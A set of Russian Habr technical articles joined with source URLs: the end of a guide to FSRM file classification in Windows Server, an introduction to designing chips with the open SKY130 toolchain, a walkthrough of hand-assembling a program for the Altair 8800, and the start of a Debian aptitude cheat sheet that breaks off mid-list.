**Свойства классификации** используются для назначения значений файлам в указанной папке или томе. В зависимости от потребностей можно выбрать подходящий тип свойства. По сути, такие свойства классификации представляют собой свойства ресурсов, которые создавались в узле **Resource Properties** консоли центра администрирования Active Directory и были добавлены в списки свойств ресурсов. Следовательно, существует много типов свойств, которые вы можете выбирать. Более того, из этой консоли вы можете создавать свои локальные типы свойств, исходя из потребностей вашей организации. Как и в случае с типами значения свойств ресурсов, о которых мы с вами говорили в [предыдущей статье](http://habrahabr.ru/post/203592/), можно выделить такие типы свойств классификации, как **Да/Нет**, **Дата-время**, **Числовой**, **Упорядоченный список**, **Строка**, **Множественный выбор**, **Несколько строк**. Описание для всех этих типов можно найти в предыдущей статье, поэтому подробно останавливаться на них нет никакого смысла. Как видно на следующей иллюстрации, в узле «**Свойств классификации**» диспетчера FSRM мы сразу можем обнаружить все те свойства ресурсов, с которыми мы работали ранее. Например, создаваемое нами свойство **Region**:
[](http://habrastorage.org/storage3/bd2/b28/e61/bd2b28e61e6fd9298191728687f4f888.png)
**Рис. 12. Узел свойств классификации диспетчера FSRM**
В свою очередь, **правила классификации** как раз и назначают свойства классификации для ваших файлов. Каждое правило классификации, которое вы будете создавать, должно включать в себя конкретную информацию, которая должна определять то, какие именно файлы будут применяться к конкретному правилу, а также какое будет для них назначено свойство классификации. В каждое правило вы можете включить уникальные свойства классификации и, естественно, определиться со значениями для таких свойств.
Правила классификации можно запустить двумя способами: по запросу или по расписанию. В любом случае, вы выбираете запуск классификации, и такая классификация использует все правила, которые у вас настроены с включенным состоянием. Настройка расписания классификации позволяет указать промежутки времени, в которые будут выполняться правила классификации файлов, сохраняя файлы вашего сервера регулярно классифицированными, что позволяет вам всегда быть осведомленными о своих классификациях.
Теперь пришло время посмотреть, каким именно образом можно создавать такие правила. Итак, чтобы создать свое первое правило классификации, нужно выполнить следующие действия:
1. В консоли диспетчера FSRM перейдите к узлу **«Правила классификации»** (**Classification Rules**), в области сведений вызовите контекстное меню, а затем выберите опцию **«Создать правило классификации»** (**Create Classification Rule**), как показано на следующей иллюстрации:
[](http://habrastorage.org/storage3/7c7/1d5/87e/7c71d587e6b81f120cefb4ea25aea45b.png)
**Рис. 13. Создание правила классификации**
2. В отобразившемся диалоговом окне **«Создать правило классификации»** (**Create Classification Rule**) вы можете обнаружить четыре вкладки, при помощи которых и создается само правило. Рассмотрим по порядку каждую вкладку:
* **Вкладка «Общие» (General)**. На этой вкладке, как понятно из ее названия, можно указать некоторые общие параметры, которые, по сути, будут лишь характеризовать это правило. Из таких параметров можно выделить:
+ **Имя правила (**Rule name**)**. Это текстовое поле отвечает за будущее имя вашего правила. Соответственно, в нашем примере в данном текстовом поле укажем **«First rule»**;
+ **Включено (Enabled)**. Учтите, что создаваемое вами правило будет применяться только в том случае, если установлен соответствующий флажок. Чтобы отключить правило, просто снимите данный флажок.
+ **Описание (Description)**. В том случае, если вы создадите много правил, такое описание будет как нельзя кстати. Поэтому, введите описание для этого правила, например, «**Это первое тестовое правило, на основе которого будут создаваться все последующие правила**».
Данная вкладка изображена ниже:
**Рис. 14. Вкладка «Общие» диалогового окна создания правила классификации**
* **Вкладка «Область» (Scope)**. На этой вкладке вы можете определить расположение, для файлов которого будет распространяться созданное вами правило. На этой вкладке вы можете как добавить несколько расположений, так и удалить выбранные расположения при помощи соответствующих кнопок «**Добавить**» и «**Удалить**» (**Add** и **Remove**). Правило классификации будет применяться ко всем папкам из списка и к их вложенным папкам и файлам. Флажки сверху означают, что правило будет распространяться на определенные типы файлов, которые относятся к соответствующей категории, то есть это могут быть файлы группы, файлы пользователя, файлы приложения, а также файлы резервных копий и архивные файлы.
Также вы можете перейти по ссылке **«Задать свойства управления папками»** (**Set Folder Management Properties**), чтобы можно было указать дополнительные значения для ваших папок. В качестве свойств может быть указано **использование папки**, позволяющее определить назначение самой папки, а также типы файлов, которые будут включены в такие папки, может быть указано **сообщение пользователю при получении ошибки отказа в доступе**, позволяющее отображать для конечного пользователя настраиваемое сообщение, а также определение адреса **электронной почты владельца папки**, позволяющее отправить конечным пользователем письмо напрямую владельцу для получения должных разрешений. По сути, для того, чтобы определить, следует ли включать выбранную вами папку в правило классификации, само создаваемое правило классификации использует значение свойства управления папками, назначенное для выбранной папки. Например, как видно на следующей иллюстрации, мы добавляем для папки F:\Photo свойство использования папки со значением файлов группы и файлов пользователя:
[](http://habrastorage.org/storage3/117/944/328/11794432871949d32cf44f6bafb96f85.png)
**Рис. 15. Вкладка «Область» с установкой свойств управления папками**
* **Вкладка «Классификация» (Classification)**. Вот эта вкладка предназначена именно для определения непосредственно самой классификации ваших файлов. Здесь доступны следующие параметры:
+ Группа **механизм классификации** с параметром **«Выберите метод назначения свойства файлам»** (**Choose a method to assign a property to files**). По большому счету, механизмы классификации представляют собой наборы модулей, которые включены в состав операционных систем Windows Server 2012/2012 R2. Здесь вы можете выбрать:
- **Классификатор Windows PowerShell** (**Windows PowerShell classifier**). Данный метод позволяет вам реализовать автоматическую классификацию файлов путем выполнения конкретного указанного вами скрипта Windows PowerShell, который, в свою очередь, будет определять классификацию файлов. При выборе этого метода стоит обратить внимание на то, что классификатор Windows PowerShell позволяет вам упростить применение алгоритма настраиваемой классификации. Например, можно классифицировать файлы в зависимости от пользователя, который последним создал или изменил файл. В данной статье возможности этого метода не рассматриваются, но если вам эта тема показалась интересной, можно будет ее разобрать в не зависимой от данного цикла статье;
- **Классификатор папки (Folder classifier)**. Такое правило у вас будет использовать специальный классификатор папок, который назначает указанное вами значение свойства классификации для всех файлов в области действия создаваемого вами правила. С помощью этого правила все, что будет размещаться в папке, определенной на вкладке области, будет помечено как, скажем, файлы со значением **Los Angeles** для созданного нами ранее свойства **Region**;
- **Классификатор содержимого (Content classifier)**. Данный, заключительный, метод классификации осуществляет поиск текста или же использует шаблоны, позволяющие использовать определенный механизм в качестве индексатора поиска. В том случае, если такой механизм находит искомое выражение, тогда он присваивает файлу указанное значение свойства классификации. Чтобы использовать этот метод, вам обязательно нужно будет перейти в соответствующее диалоговое окно, нажав на кнопку **«Настроить»** (**Configure**). Так как рассматривать мы сейчас с вами будем именно этот метод, к данному диалоговому окну мы еще вернемся;
+ Группа **«Свойство»** и параметр **«Выберите назначаемое свойство»** (**Choose a property to assign to files**). При помощи этого раскрывающегося списка вы можете выбрать свойство, которое будет присваиваться создаваемым вами правилом. В данном случае выбирается созданное ранее свойство ресурса «**Region**»;
+ Параметр **«Укажите значение»** (**Specify a value**). В том случае, если механизм классификации требует установки для файлов определенного значения, вам разрешается выбрать значение свойства, которое будет присваиваться данным правилом. В нашем случае будет выбрано значение «**Los Angeles**», а, например, в случае с классификатором Windows PpowerShell, данный раскрывающийся список будет попросту заблокирован, так как все определяется при помощи вашего скрипта;
+ Кнопка «**Настроить**» (**Configure**) и диалоговое окно «**Параметры классификации**» (**Classification Parameters**). Как я уже успел отметить, в данном диалоговом окне классификатор содержимого использует параметры классификации, предназначенные для определения шаблона искомого содержимого файла. Можно определить один из таких параметров классификации как:
- **Регулярное выражение (RegularExpression)**. Скорее всего, самый полезный и в то же время самый сложный параметр классификации. Регулярное выражение описывает одну или несколько строк, по которым, в свою очередь, выполняется сопоставление при поиске в тексте. Совпадение регулярного выражения выполняется с помощью синтаксиса .NET. Также можно отметить и то, что регулярное выражение состоит из обычных знаков, а также специальных знаков, которые известны как метасимволы. Например, «\d\d\d» будет соответствовать любому трехзначному числу. Так как сразу не вооружившись руководствами по составлению таких регулярных выражений, написать правильное выражение будет очень сложно, настоятельно рекомендую вам ознакомиться с документом <http://msdn.microsoft.com/en-us/library/ae5bf541.aspx>, где в подробной форме описаны различные возможности. Возьмем один из базовых примеров, где будем использовать упомянутый выше метасимвол **\d**:. Скажем, нам нужно проклассифицировать все файлы, которые будут включать в себя текст наподобие следующего: 111-22-3333. Зная, что метасимвол \d соответствует знаку цифры, а в строке 111 выражение \d{3} будет соответствовать строкам 111, можно сделать вывод, что необходимо составить следующее регулярное выражение: **\d{3}-\d{2}-\d{4}**. Такое регулярное выражение и укажем в нашем примере;
- **Строка с учетом регистра (StringCaseSensitive)**. Такой параметр отвечает за совпадение строк с учетом регистра. Например, если вы указали искомую фразу **Top Secret!**, то в этом случае будут соответствовать только значения с идентичным регистром и количеством символов до и после самого выражения;
- **Строка (String)**. В свою очередь, этот последний параметр отвечает за совпадение строки, независимо от значения. Например, то же условие Top Secret будет соответствовать выражению в любом регистре и с любыми префиксами или же суффиксами.
В случае использования регулярных выражений обязательно составляйте их с осторожностью и перед внедрением в производственную среду перепроверяйте на своих лабораторных стендах. Также обязательно обратите внимание на то, что если вам, скажем, нужно будет задать значение свойства, если файл содержит слова «Конфиденциально» и «Личный», в таком случае вам нужно будет настроить два разных правила.
**Минимальное и максимальное число вхождений (****Minimum** **и****Maximum****Occurrences****)**. Эти параметры отвечают за число элементов, которые должны срабатывать для регистрации совпадения. Например, в нашем случае пусть будет указано минимальное число со значением 1.
В нашем примере вкладка классификации с диалоговым окном параметров классификации будет выглядеть следующим образом:
[](http://habrastorage.org/storage3/076/62e/80d/07662e80d402dd527f07d462780ba29a.png)
**Рис. 16. Настройка классификации вашего правила**
* **Вкладка «Тип вычисления»** (**Evaluation Type**). На данной вкладке вы можете обнаружить флажок **«Заново определить существующие значения свойств»** (**Re-evaluate existing property values**), который по умолчанию не установлен. Для чего он нужен и что дает это значение, установленное по умолчанию? Это означает, что правило применяется только к файлам, которые еще не были классифицированы по свойству, устанавливаемому настоящим правилом. Другими словами, изначально значения свойств, которые уже когда-то были определены, попросту будут проигнорированы и не будут повторно классифицироваться. А вот если вы хотите изменить такое поведение, в этом случае вы можете попробовать настроить следующие параметры:
+ **Перезаписать существующее значение (**Overwrite the existing value****). В том случае, если вы остановитесь на текущем параметре, правило будет применяться ко всем файлам, если файл или механизм классификации будет обновлен, причем при каждом автоматическом запуске процесса классификации. В этом случае существующие значения и значения заданные по умолчанию для свойства, определенного правилом, будут игнорироваться. Например, если файл имеет логическое свойство, для которого установлено значение **Да**, правило, которое использует классификатор папок для установки значения **Нет** для всех файлов, изменяет значение свойства на **Нет**. Также здесь можно обнаружить два флажка – «**Очистить автоматически классифицированное свойство**» и «**Очистить классифицированное пользователем свойство**», которые позволяют очищать определенное значение свойства в том случае, если такое свойство более не будет применимо к целевому файлу.
+ **Агрегировать значения (Aggregate the values)**. В отличие от предыдущего параметра, в этом случае правило применяется к файлам, если файл или механизм классификации были обновлены, при каждом автоматическом запуске процесса классификации. Однако, когда правило определяет значение классификации для файла, это значение объединяется с уже имеющемся в файле значением. Например, если в файле фигурирует логическое свойство, для которого установлено значение **Да**, а правило, которое использует классификатор файлов должно установить значение **Нет** для всех файлов, то в этом случае для такого свойства останется значение **Да**. В случае с большинством свойств значения просто будут объединяться.
Например, в нашем случае остановимся на параметрах, которые отображены на следующей иллюстрации, и сохраним все внесенные изменения в создаваемом нами правиле классификации:
**Рис. 17. Вкладка «Тип вычисления» создаваемого правила классификации**
3. Теперь выбираем созданное нами правило классификации и в области **«Действия»** консоли FSRM выбираем опцию **«Запустить классификацию со всеми правилами» (**Run Classification With All Rules Now**)**. Перед вами отобразится диалоговое окно **«Запуск классификации»**, где в качестве теста мы выберем опцию **«Дождаться завершения классификации»** (**Wait for classification to complete**), после чего нужно будет нажать на кнопку **ОК**:
**Рис. 18. Запуск классификации**
4. В браузере должен открыться отчет классификации, где будут показаны все операции, которые выполнялись с вашими файлами. Так как у меня заранее был создан один файл с требуемым текстом, в отчете видно, что был проклассифицирован только 1 файл:
[](http://habrastorage.org/storage3/cb6/0cc/321/cb60cc3217602c2e0361a2557e6f95bd.png)
**Рис. 19. Отчет о классификации файлов**
Между прочим, выполнение классификации можно полностью автоматизировать, настроив расписание автоматической классификации. Но об этом в другой раз.
Теперь осталось проверить, что у нас получилось и правильно ли был проклассифицирован наш файл. Для этого следует перейти к проводнику Windows, где нужно будет открыть папку F:\Photo. В этой папке находим заранее созданный текстовый файл. После этого нужно открыть для такого файла диалоговое окно свойств и перейти к вкладке **«Классификация»**. Как видно на следующей иллюстрации, ввиду того, что в файле фигурируют цифры 111-22-3333, файл был проклассифицирован со свойством **Region** и значением **Los Angeles**. Иначе говоря, вся операция завершилась удачно.
[](http://habrastorage.org/storage3/0ed/e21/eef/0ede21eefd73152ab9469597a8d0767a.png)
**Рис. 20. Результаты классификации**
#### Заключение
Вот и подходит к концу очередная, четвертая по счету, статья по такой великолепной технологии, как динамический контроль доступа. За это время я вам рассказал о том, что собой представляют и как можно управлять списками свойств ресурсов. При помощи консоли центра администрирования Active Directory и такого превосходного инструмента, как Windows PowerShell, было создано и настроено по одному списку свойств ресурсов, куда было добавлено несколько свойств ресурсов.
Во второй части этой статьи речь шла о такой важной составляющей процесса реализации динамического контроля доступа в организации, как классификация файлов. Вы познакомились с самим определением и назначением классификации файлов, а также узнали о том, что собой представляют свойства и правила классификации. В практической части было рассказано о том, как можно выполнить классификацию файлов вручную, а также в автоматизированном режиме на основе содержимого, причем как это можно сделать при помощи такого инструмента, как диспетчер ресурсов файлового сервера или же, проще говоря, FSRM.
Естественно, дать абсолютно исчерпывающую информацию как о самом диспетчере FSRM (а именно, затронуть такие темы, как квоты и шаблоны квот, блокировку файлов и группы файлов, посвятить часть статьи задачам управления файлами, а также формированию отчетов), так и о классификации файлов (здесь я подразумеваю генерацию собственных, локальных свойств конфигурации, расписание классификации, подробное использование свойств управления папками с различными примерами, а также примеры применения классификаторов Windows PowerShell, классификаторов папки и различные примеры использования регулярных выражений) в одной статье, попросту невозможно. Поэтому, если вам какая-то из упомянутых тем будет интересна, – с радостью посвящу такой (-им) одну или несколько новых, не зависимых от данного цикла статей.
Ну а в следующей статье этого цикла мы с вами продолжим основательно знакомиться с динамическим контролем доступа, и вы узнаете о создании централизованных правил и централизованных политик доступа. | https://habr.com/ru/post/204212/ | null | ru | null |
# Как разработать микросхему. Собственный процессор (почти)
Как же разработать свою микросхему. Задался я этим вопросом, когда я захотел создать собственный процессор. Пошёл я гуглить и ничего годного не нашёл. Ответы в основном два։ "Ты не сделаешь свой процессор, потому что слишком сложно" и "Забей и собери компьютер из комплектующих".
Очевидно что это меня не устаивает, поэтому я решил изучить вопрос серьезнее. Оказалось можно сделать свой процессор описав его с помощью Verilog и FPGA. Купил плату в китае, 3 года спокойными темпами написал свой процессор, оттестировал, скомпилировал и залил на FPGA. **Но мне этого недостаточно.**
Так как же разработать микросхему?
----------------------------------
Давайте сначала разберёмся из чего состоит микросхема. Все микросхемы состоят из кремния и корпуса.
Корпус это кусок пластика и несколько проводов к выводам корпуса. А есть еще кремний. Корпуса микросхем имеют миллион вариантов корпусировки и к этому мы даже не будем подходить. Существует два варианта расположения кристала. Вверх металлом и вниз металлом. На картинке изображены микросхемы вверх металлом. Вниз металлом имеет преимущество ввиду того, что не надо провода проводить.
А как же кремний
----------------
Кремний производиться на заводе. Каждый завод имеет свою технологию производства. Мы будем рассматривать только технологии 130нм ибо про нее я знаю достаточно много.
Для того, чтобы производитель произвёл вашу микросхему вам нужно предоставить им GDS-II файл, который является грубо говоря векторной многослойной картинкой вашей микросхемы.
Первым шагом к разработке является։ связаться с производителем. Если у вас меньше чем 10000 баксов, забудьте. Лучше рассмотреть Multi project wafer service [ <https://en.wikipedia.org/wiki/Multi-project_wafer_service> ].
Не все GDS-II файлы могут отправиться на производства. Для того, чтобы понять что можно произвести, а что нет вам понадобиться несколько файлов.
GDS-II файл и так называемый Process Development Kit
----------------------------------------------------
На картинке вы можете видеть интегральную схему SHA3. Большая область справа это и есть SHA3 схема, а всё остальное так называемый Caravel Harness. Для того чтобы гугл смог произвести вашу микросхему по технологии SKY130 гугл требует чтобы ваша основанная схема справа и подключается к жёлтым точкам. Посмотреть на структуру Caravel Harness [можно тут](https://github.com/efabless/caravel/tree/master).
Интегральная схема SHA3 на технологии SKY130, https://efabless.com/projects/4[Process Development Kit](https://en.wikipedia.org/wiki/Process_design_kit) эта такая кучка файлов которая содержит։
* Технологическая документация.
+ Этот файл содержит на удобно перевариваемом формате описание и требования к конечному файлу, кроме того эта документация содержит примеры и описания транзисторов.
* Модели для симуляции элементов схемы в формате SPICE.
+ Эти модели используются для симуляции компонентов интегральной схемы. Перед тем как нарисовать структуру кремния, вам нужно сначала определиться со схемой, которую вы будете рисовать.
* Технологические файлы, которые позволяют связать файл GDS-II и слои при производстве.
* Библиотека примитивов - Транзисторов, резисторов, конденсаторов и так далее
+ Параметры
+ Модели для симуляции
+ Символы для рисования схемы
* Правила Design Rule Check
+ Эти файлы привязаны к конкретному программному обеспеченью и содержат список правил, на которые в автоматическом режиме будут проверяться ваши интегральные схемы или её отдельные компоненты.
+ Primitive Extraction rules или правила описывающие примитивы. Эти правила позволяют превратить ваш GDS-II представление в список примитивов и их связей (netlist). Сгенерированный netlist также содержит паразитные конденсаторы и резисторы, а сам netlist используется для того чтобы произвести симуляцию компонентов как можно приближённой к реальной интегральной схеме.
+ Layout versus Schematic check или правила, которые позволяют получить из вашего GDS-II так называемый netlist. После чего его можно сравнить со схемой, которую вы нарисовали и уже про симулировали.
Например, установщик для технологии SKY130 (130нм) [можно найти вот тут](http://www.opencircuitdesign.com/open_pdks/install.html). Эти скрипты автоматически установят всё необходимое, но не спешите ниже мы найдём скрипт, который сделает все за нас.
Иногда производитель кремния также предоставляет так называемые файлы Standard Cell Library. Эти файлы предоставляют описание отдельных компонентов, который разработчик может использовать для разработки цифровых интегральных съем или её частей. К этому чуть позже.
Здесь стоит остановиться и понять, из чего конкретно состоит сам кремний.
Как рисовать транзистор и как он работает
-----------------------------------------
Перед тем как что-то разработать нам нужно понять основу интегральных схем - транзисторы MOSFET. Существуют два типа которые мы будем использовать - NMOS и PMOS.
Давайте разберемся как работает транзистор и как он выглядит. Знакомьтесь։ транзистор
Транзистор N-MOS. Понять тип можно по типу двух контактов Source и DrainКак мы здесь видим։ у транзистора есть несколько компонентов. Металл и контакт, а также N+ и P Substrate. Когда напряжение Vgs < Vth тогда NMOS закрыт. Когда Vgs >= Vth, а Vds < Vgs - Vth тогда транзистор находиться в линейном режиме. Когда Vgs >= Vth и Vds > Vgs - Vth тогда транзистор находиться в открытом состоянии. Похожим образом работает PMOS, но в отличии от NMOS он закрывается, а не открывается.
А теперь знакомьтесь։ транзистор PMOS (сверху) и NMOS (снизу)
Схема инвертера в Magic от спидраннера инвертеров на ЮтубеРазработка аналоговых компонентов
---------------------------------
Давайте не буду вас томить. Установите в виртуалку Ubuntu и следуйте следующим шагам։ <https://github.com/efabless/openlane#quick-start>. Я бы установил его в ~/openlane\_exp/ ибо именно этот путь я использую в примере
Для того чтобы установить программы которыми мы будем пользоваться следуйте следующим шагам։ <https://github.com/armleo/sky130_ubuntu_setup/blob/main/install_tools.sh>
Также вам может быть интересен <https://inst.eecs.berkeley.edu/~cs250/fa20/labs/lab1/>
Нам нужны следующие программы
* OpenLANE, который установит модели для симуляции и отдельные компоненты и примитивы в соответствующей папке. Почитайте документацию очень интересно. Бесплатный установщик skywater PDK + скрипты для использования разных программ для того чтобы в автоматическом режиме скомпилировать вашу цифровую схему. Кроме того образ докера с предустановленными ПО для компиляции.
+ Yosys. Гордость проектов с открытым исходным кодом. Автор։ [Claire Wolf](http://www.clifford.at/). Позволяет скомпилировать ваш Verilog в gate-level представление, которое описывает вашу цифровую схему в виде отдельных компонентов. Замена Design Compiler от Synopsys
+ Куча других ПО, которые в автоматическом режиме превращают ваш gate-level в GDS-II. Об этом будет в соответствующей главе
* skywater-pdk. Открытый PDK skywater 130nm. Содержит также так называемые готовые цифровые компоненты, примитивные компоненты и библиотека ячеек ввода-вывода
* ngspice, Открытый симулятор spice. На удивление неплохой, но я конечно же рекомендую коммерческие симуляторы например HSPICE от Synopsys.
* xschem, открытая программа для рисования схем. Бесплатная замена CustomCompiler от Synopsys
* klayout, для рисования и открытия GDS-II. Бесплатная замена CustomCompiler от Synopsys
* Magic, программа которая может производить DRC, и не только. Вообще очень полезная штука. Бесплатная замена IC Validator от Synopsys
* Netgen, программа которая может делать LVS проверку. Бесплатная замена IC Validator от Synopsys
* OpenRAM. Компилятор элементов памяти. Замена Memory Compiler от Synopsys. К сожалению мы не можем им пользоваться ибо у нас нет файлов технологической настройки, который закрыты из-за NDA. Правда готовые блоки с синхронными входами и выходами [можно найти здесь](https://github.com/efabless/sky130_sram_macros).
Давайте уже к практике. Учтите что вам нужно поменять много параметров, надеюсь разберетесь.
```
cd ~/openlane_exp/openlane
docker run -it --rm -v /home/armleo/openlane_exp/openlane:/openLANE_flow \
-v /home/armleo/openlane_exp/openlane/pdks:/home/armleo/openlane_exp/openlane/pdks \
-e PDK_ROOT=/home/armleo/openlane_exp/openlane/pdks \
-e PDKPATH=/home/armleo/openlane_exp/openlane/pdks/sky130A/libs.tech/magic \
-v /tmp/.X11-unix:/tmp/.X11-unix \
-v /home/armleo/openlane_exp:/home/armleo/openlane_exp \
-e DISPLAY=unix$DISPLAY \
-u 1000:1001 efabless/openlane:v0.12
klayout /home/armleo/openlane_exp/openlane/pdks/skywater-pdk/libraries/sky130_fd_sc_hd/latest/cells/inv/sky130_fd_sc_hd__inv_1.gd
```
Команды сверху установят пример инвертера и запустит докер с проброской из моей домашней папки и проброской X11 для окон.
После открытия надо подключить технологические файлы.
* Откройте Manage Technologies
* Правый клик по списку технологий
* Найдите файл /home/armleo/openlane\_exp/openlane/pdks/sky130A/libs.tech/klayout/sky130A.lyt
* Откройте настройки слоев
* Выберите sky130A
Хотите увидеть инвертер?
ИнвертерДа выглядит уродливо, зато бесплатно ։D.
Давайте поймём что это за схема, как она работает и из чего состоит. Сверху синий слой это метал по которому подключается SOURCE и BULK ножки PMOS транзистора к VDD или позитивному напряжению. Снизу слой металла по которому идёт VGND или заземление, который подключается к ножке SOURCE и BULK NMOS транзистора.
Ножки GATE подключенные к друг другу и к вводному сигналлу A с использованием слоя полисиликона LI1.
Выход подключен к контакту Y с использованием слоя полисиликона LI1.
Инвертер работает следующим образом։
* NMOS открыт, когда на входе высокое напряжение, а PMOS закрыт. Таким образом на выходе получается низкое напряжение. NMOS открыт, поэтому низкое напряжение подаётся на выход, но короткого замыкания не просиходит, посколько PMOS закрыт.
* NMOS закрыт, когда на входе низкое напряжение, а PMOS открыт и VDD подключен к сигналу Y. NMOS закрыт, поэтому низкое напряжение не подаётся на выход, и короткого замыкания не происходит. Таким образом на выходе получается высокое напряжение.
Схема в разрезе։
Схема соответствующая инвертеру։
Здесь вы можете видеть, что у транзистора на самом деле 4 ноги։ DRAIN, SOURCE, GATE, BULK.
В следующей частях разберемся։
* как нарисовать несколько компонентов (NAND, NOR), сделать LVS, DRC, PEX и провести симуляцию.
* Поймем, что такое последовательные компоненты (Sequential components) - Latch, Flip-flop
* После мы разберём как скомпилировать наш Verilog в GDS.
* Поймём как собрать нашу схему в Caravel | https://habr.com/ru/post/553356/ | null | ru | null |
# Пишем программу для компьютера ALTAIR 8800 1975г выпуска
Привет, Хабр.
В истории вычислительной техники существуют определенные события, повлиявшие на ход истории. Одним из таких было появление первого массового персонального компьютера.
В те годы компьютеры использовались лишь учеными и инженерами на больших предприятиях. И тут появляется компьютер, купить который может любой желающий. [Altair 8800](https://en.wikipedia.org/wiki/Altair_8800) содержал процессор 8080, 256 байт памяти в первой версии, и имел цену ниже 1000$ - это был первый успешно продаваемый персональный компьютер. Это был тот самый компьютер, для которого Билл Гейтс и Пол Аллен разрабатывали язык BASIC, компьютер благодаря которому сотни и тысячи увлеченных студентов и школьников пришли в мир программирования.
Разумеется, дешевизна имела свою цену - первая версия ALTAIR не имела ни клавиатуры, ни экрана, только панель тумблеров, как на фото. Стало интересно разобраться, как же написать и запустить программу на таком ПК. Для тех, кто хочет узнать как это работает, продолжение под катом.
Код
---
Первым доступным языком был лишь Ассемблер. ALTAIR мог иметь до 64 КБайт памяти, и процессор 8080, работающий с тактовой частотой 2 МГц.
Чтобы лучше понять как это работает, я написал несложную программу, вычисляющую сумму чисел от 1 до 5:
```
; Code segment:
ORG 0o ; Set Program Counter to address 0
START: LDA I
MOV B,A ; RegB => I (1..N)
LDA STEP
MOV C,A ; RegC => STEP (always 1)
LDA SUM
MOV D,A ; RegD => SUM (result)
LOOP: MOV A,D ; Move value to Accumulator from Register D (SUM)
ADD B ; Add value in Register B to value in Accumulator
MOV D,A ; Save result back to D I
MOV A,B ; Mov B to A and decrement it
SUB C
JZ PEND ; If A is zero, the calculation is complete
MOV B,A ; If not, continue
JMP LOOP
PEND: MOV A,D ; Save result in SUM value
STA SUM
PWAIT: JMP PWAIT ; Nothing to do, infinite loop
; Data segment:
ORG 200o ; Set Program Counter to address 200
I: DB 5o ; Data Byte at address 200 = 5
STEP: DB 1o ; Data Byte at address 201 = 8 (10 octal)
SUM: DB 0o ; Data Byte at address 202 = 0
END ; End
```
Как можно видеть, я создал в памяти 3 переменные, I, STEP и SUM, которые используются для организации цикла от 1 до 5 с шагом 1. Далее эти значения загружаются в регистры B, C и D, с которыми и производятся арифметические операции. Команда JZ (Jump if Zero) завершает цикл, когда значение регистра А становится равным нулю. Последним шагом мы записываем результат обратно в ячейку памяти с именем SUM. Кстати, для ячеек памяти (data segment) мы указываем адрес первой ячейки, который в нашем случае равен 200o ("o" здесь это octet, 8-ричная система счисления).
В общем, вышенаписанный код делает то же, что в Python можно записать одной строкой:
```
s = sum(range(6))
```
Кстати забавно, что на Хабре нет подсветки синтаксиса для ассемблера, видимо было решено что вряд ли это кому-нибудь еще пригодится. Но пойдем дальше.
Компиляция
----------
Строго говоря, никакого компилятора по условию задачи у нас нет, перевести команды в машинные коды придется вручную. К примеру, можно найти описание команды LDA:
Команда "LDA I", где I это ячейка памяти 200о = 80h, будет записана как 3A 80 00.
Следующая команда MOV B,A описывается так:
Получаем код команды 01000111b = 47h
Я все-таки сжульничал и скачал готовый компилятор, взять который можно [здесь](http://john.ccac.rwth-aachen.de:8000/as/download.html) (полезно также посмотреть [пример использования](https://ubuntourist.codeberg.page/Altair-8800/linux.html)). Но как можно видеть, и на бумажке "скомпилировать" программу вручную вполне реально, хотя конечно, это и заняло бы куда больше времени. В итоге мы должны получить следующий бинарный код:
```
3a 80 00 47 3a 81 00 4f
3a 82 00 57 7a 80 57 78
91 ca 18 00 47 c3 0c 00
7a 32 82 00 c3 1c 00
```
Размер программы - 38 байт. Никаких префиксов MZ, переключения страниц памяти и прочего - программа просто выполняется с адреса 0. До того времени, когда чтобы запустить программу на устройстве, нужно подписать её платным сертификатом, было еще лет 40...
Загрузка и запуск
-----------------
Для тестирования программы я воспользовался бесплатным симулятором ALTAIR 8800, скачать который можно с [github](https://github.com/wixette/8800-simulator). Его можно запустить прямо в браузере:
Еще раз повторюсь, в первой версии ALTAIR не было ни экрана ни клавиатуры. Все что доступно пользователю - это фактически панель прямого доступа к ячейкам памяти. Например, чтобы загрузить в ячейку памяти с адресом 1 значение 10001000b, нужно выставить соответствующие тумблеры и нажать тумблер DEPOSIT, чтобы ввести следующий код, нужно снова переключить тумблеры и нажать DEPOSIT NEXT. Чтобы прочитать значение ячейки памяти, есть соответствующий тумблер EXAMINE/EXAMINE NEXT. Запустить программу можно нажатием тумблера RUN или SINGLE STEP.
Скажу по секрету, перейдя в закладку DEBUG симулятора, можно загрузить программу в виде hex-файла целиком. Однако, желающим прочувствовать весь процесс до конца пришлось бы переключить тумблеры порядка сотни раз даже для такой небольшой программы.
Результат выполнения показан на скриншоте. Запускаем программу, затем выбираем тумблерами ячейку памяти 202о = 10000010b, нажимаем тумблер EXAMINE. В ячейках D7..D0 получаем значение 00001111b = 15, что соответствует искомой сумме чисел от 1 до 5:
Реальные программы были, разумеется, гораздо сложнее. В компьютер также можно было доустановить платы расширения, включающие модули памяти, порты для подключения терминала, внешнего диска и пр.
В 1975 г Билл Гейтс и Пол Аллан выпустили [интерпретатор BASIC](https://en.wikipedia.org/wiki/Altair_BASIC) для ALTAIR, а в 1976 была основана компания "Micro-Soft". Началась новая страница в истории IT.
Заключение
----------
Знакомство с подобными технологиями оказалось довольно любопытно. Посмотреть как работает ALTAIR было также интересно и с профессиональной точки зрения - понять, насколько может современный программист писать код под систему почти 50 летней давности. И надо сказать, что это оказалось ничуть не проще. Даже просто умножить 2 числа, если у процессора нет готовой команды для этого, будет поинтереснее любой задачи про гномиков, не говоря уже про написание кода "на бумажке".
Интересно, что ALTAIR не забыт и до сих пор. Кроме онлайн-симулятора, можно собрать и "железный", на базе Ардуино:
И наконец, симулятор ALTAIR входит в пакет simh, доступный для Linux, с помощью которого может быть удобно запускать программу по шагам в консоли и просматривать содержимое ячеек памяти:
В общем, желающие могут поэкспериментировать самостоятельно.
Как обычно, всем удачных экспериментов. | https://habr.com/ru/post/541236/ | null | ru | null |
# Шпаргалка начинающего Debian/Ubuntu администратора по управлению пакетами
Долгое время меня глодало незнание того, как сделать некоторые элементарные вещи в дебиановских менеджерах пакетов, но, как часто бывает, спросить рядом было не у кого, а до написания куда-либо руки не доходили. И вот наконец вопросы вызрели и я написал [свой вопрос](http://lists.debian.org/debian-russian/2012/08/msg00439.html) в [дебиановскую рассылку](http://lists.debian.org/debian-russian/). Естественно оказалось что пропустил что-то очевидное, но и узнал много неочевидных полезностей, посему решил набросать шпаргалку, авось кому пригодится.
#### Краткая справка Debian администратора
##### Основное и общеизвестное
Получение информации о новых/обновлённых пакетах
```
sudo aptitude update
```
Обновление
```
sudo aptitude safe-upgrade
```
Поиск пакета по именам пакетов
```
aptitude search key_word
```
Поиск пакета по точному названию
```
aptitude search "^name$"
```
Поиск по описанию
```
aptitude search "?description("key_word")"
```
Информация о пакете
```
aptitude show package_name
```
Установка
```
sudo aptitude install package_name
```
Удаление
```
sudo aptitude remove package_name
```
Полное удаление (вместе с конфигами)
```
